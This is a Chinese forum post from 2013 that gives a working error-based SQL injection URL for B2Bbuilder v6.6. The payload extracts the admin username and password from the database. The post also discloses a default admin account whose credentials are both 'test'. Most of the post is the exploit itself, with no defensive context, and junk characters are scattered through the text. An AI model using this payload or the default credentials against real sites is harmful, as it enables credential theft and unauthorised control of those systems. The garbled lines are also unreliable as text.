测试的程序版本为：B2Bbuilder_v6.6
$ x6 M6 G. K H8 s/ z9 W1 {5 [# B7 R3 p# a& P k3 P4 t
, p( [9 H7 v3 W8 B4 n% _0 s9 b
http://www.site.com/?m=offer& ... m%28select+count%28*%29%2Cconcat%28%28
8 P# |! ?8 s, j$ M: ~; ]+ o. bselect+%28select+%28select+concat%280x27%2C0x7e%2Cb2bbuilder_admin.user,0x27,password- d+ W1 v! Y0 B5 j/ m% ] ]
%2C0x27%2C0x7e%29+from+%60b2bbuilder%60.b2bbuilder_admin+Order+by+user+limit+0%2C1
9 W# a7 ^, C4 b% W% r%29+%29+from+%60information_schema%60.tables+limit+0%2C1%29%2Cfloor%28rand%280%29
: L9 q& G0 E8 Y) n4 ^9 P! S9 H*2%29%29x+from+%60information_schema%60.tables+group+by+x%29a%29+and+1%3D1/ e% P( g1 I! H' ?6 w: ?& {
" A A% N0 s: K5 Q) _9 I
这个B2B程序还有一个默认的管理员帐号，帐号密码都是test
# ~# W: U* d$ I9 K) m
4 P' m. h* V1 _+ e |
发表于 2013-7-26 12:44:48
收藏
支持
反对